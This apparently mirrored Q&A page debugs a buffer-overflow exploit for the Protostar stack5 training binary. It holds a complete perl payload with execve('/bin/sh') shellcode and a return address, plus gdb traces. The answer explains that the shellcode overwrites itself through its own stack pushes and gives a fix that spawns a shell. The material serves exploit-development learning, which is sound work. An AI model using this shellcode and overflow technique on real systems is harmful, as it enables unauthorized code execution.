Shellcode执行不正确 [英] Shellcode not executed properly

查看:70
本文介绍了Shellcode执行不正确的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在尝试解决 Protostar stack5 .这是一个解决方案.它将 shellcode 放在返回地址之后,我尝试将其放在之前数组.我已经试过了shellcode,它可以正常工作.

I am trying to solve Protostar stack5. Here is a solution. It puts the shellcode after the return address, I tried to put it before, in the array. I have tried the shellcode, it works.

似乎一切正常,执行跳转到shellcode,但是在shellcode结束后出现段错误,并且没有生成任何shell.我不知道为什么,在 gdb 中,并不是所有的shellcode指令都能正确显示.例如,在 0xbffff690 处应为 mov%esp,%ecx 而不是 cwtl .也许这是问题所在?为什么会这样?

It seems everything OK, the execution jumps to shellcode, but I get a segmentation fault after the end of shellcode, and no shell is spawned. I do not know why, in gdb not all shellcode instructions appear properly. For example at 0xbffff690 should be mov %esp,%ecx not cwtl. Maybe this is the problem? Why is this happening?

由于在 gdb 之外启动时,阵列地址会略有不同,因此我们需要一个nop底座.所以我的方法可能行不通,因为数组大小太小了.但是我仍然想知道为什么在 gdb 中错误解释了shellcode的结尾.

Since the array address will be slightly different when it is started outside gdb we need a nop sled. So my approach maybe will not work because the array size is too small for this. However I still want to know why the end of the shellcode is interpreted wrongly in gdb.

perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2


user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave  
0x080483da <main+22>:   ret    
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2

Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11  stack5/stack5.c: No such file or directory.
    in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.

Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor    %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor    %ebx,%ebx
(gdb) 
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov    $0x6,%al
(gdb) 
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int    $0x80
(gdb) 
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push   %ebx
(gdb) 
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push   $0x7974742f
(gdb) 
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push   $0x7665642f
(gdb) 
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov    %esp,%ebx
(gdb) 
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor    %ecx,%ecx
(gdb) 
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov    $0x2712,%cx
(gdb) 
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov    $0x5,%al
(gdb) 
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int    $0x80
(gdb) 
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor    %eax,%eax
(gdb) 
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push   %eax
(gdb) 
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push   $0x68732f2f
(gdb) 
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push   $0x6e69622f
(gdb) 
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov    %esp,%ebx
(gdb) 
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push   %eax
(gdb) 
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push   %ebx
(gdb) 
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl   
(gdb) 
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv   %bh
(gdb) 
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov    $0x0,%edi
(gdb) 
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das    
(gdb) 
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)
(gdb) 

Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound  %ebp,0x6e(%ecx)

推荐答案

有趣的问题.答案是:您的堆栈溢出中有堆栈溢出.

Interesting question. The answer is: you have a stack overflow in your stack overflow.

在我的系统上,main的反汇编位于一个略有不同的地址:

On my system, the disassembly for main is at a slightly different address:

(gdb) disas
Dump of assembler code for function main:
   0x0804841d <+0>:     push   %ebp
   0x0804841e <+1>:     mov    %esp,%ebp
   0x08048420 <+3>:     and    $0xfffffff0,%esp
   0x08048423 <+6>:     sub    $0x50,%esp
   0x08048426 <+9>:     lea    0x10(%esp),%eax
   0x0804842a <+13>:    mov    %eax,(%esp)
   0x0804842d <+16>:    call   0x80482f0 <gets@plt>
   0x08048432 <+21>:    leave
   0x08048433 <+22>:    ret
End of assembler dump.

堆栈地址也不同:在 0x0804841d 处停止时的返回地址为 0xffffcedc ,这意味着我到达 gets $ eax 的值是 0xffffce90 ,我需要相应地调整漏洞利用代码.

The stack address is also different: the return address when stopped at 0x0804841d is 0xffffcedc, which means that by the time I reach gets the value of $eax is 0xffffce90, and I need to adjust exploit code accordingly.

然后我在 * 0x08048433 中设置一个断点,并在到达断点后执行以下命令:

I then set a breakpoint in *0x08048433, and execute the following commands once I reach it:

(gdb) display/23i 0xffffce90
(gdb) stepi

这就是我所看到的:

0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)   # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
=> 0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
=> 0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0xb,%al
   0xffffcec5:  int    $0x80
(gdb)

到目前为止,一切进展顺利.但是请注意,当我们到达 0xffffcebe stepi 上方时,会发生什么:

So far, everything is proceeding nicely. But watch what happens when we reach 0xffffcebe and stepi over it:

0xffffcebf in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
=> 0xffffcebf:  push   %ebx
   0xffffcec0:  mov    %esp,%ecx
   0xffffcec2:  cltd
   0xffffcec3:  mov    $0x0,%al
   0xffffcec5:  add    %al,(%eax)

刚刚执行的 push 用其他方式覆盖了以前位于 0xffffcec5 int80 ,即其他内容(即 $ eax ).这是因为我们正在堆栈上执行指令,同时 将值推入同一堆栈中!

The push just executed overwrote the int80 that used to be at 0xffffcec5 with something else (namely content of $eax). This is because we are executing instructions on the stack, while simultaneously pushing values onto that same stack!

另一个 stepi ,我看到了:

(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
   0xffffce90:  xor    %eax,%eax
   0xffffce92:  xor    %ebx,%ebx
   0xffffce94:  mov    $0x6,%al
   0xffffce96:  int    $0x80
   0xffffce98:  push   %ebx
   0xffffce99:  push   $0x7974742f
   0xffffce9e:  push   $0x7665642f
   0xffffcea3:  mov    %esp,%ebx
   0xffffcea5:  xor    %ecx,%ecx
   0xffffcea7:  mov    $0x2712,%cx
   0xffffceab:  mov    $0x5,%al
   0xffffcead:  int    $0x80
   0xffffceaf:  xor    %eax,%eax
   0xffffceb1:  push   %eax
   0xffffceb2:  push   $0x68732f2f
   0xffffceb7:  push   $0x6e69622f
   0xffffcebc:  mov    %esp,%ebx
   0xffffcebe:  push   %eax
   0xffffcebf:  push   %ebx
=> 0xffffcec0:  enter  $0xffce,$0xff
   0xffffcec4:  add    %al,(%eax)
   0xffffcec6:  add    %al,(%eax)
   0xffffcec8:  das

然后下一个 stepi 导致 SIGSEGV :

(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.

那有什么解决方案?

当我们在 0xffffce90 处输入代码时,我们的堆栈指向 0xffffcee0 ,即在shellcode之后仅80个字节.我们的shellcode长度是54个字节.因此,在我们开始破坏shellcode之前,我们最多可以在堆栈中压入6个单词.

When we enter code at 0xffffce90, our stack points to 0xffffcee0, i.e. just 80 bytes past the shellcode. Our shellcode length is 54 bytes. Therefore, we can push at most 6 words on the stack, before we start corrupting our shellcode.

当前的shellcode会推送8个单词,而在第7次和第8次推送时会破坏自身.

Current shellcode pushes 8 words, corrupting itself with the 7th and 8th pushes.

shellcode需要弹出一些单词(例如,在 0xffffcead 的第一次系统调用之后添加 pop%eax ),或者使用例如在输入时添加$ 0x80,%esp ,以便在shellcode的末尾和栈顶之间有足够的空间.

The shellcode needs to either pop some words (e.g. add pop %eax after the first syscall at 0xffffcead), or extend the stack with e.g. add $0x80,%esp upon entry so there is plenty of space between end of shellcode and top of stack.

我使用了后者,并且有效:

I've used the latter, and it worked:

(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash

这篇关于Shellcode执行不正确的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆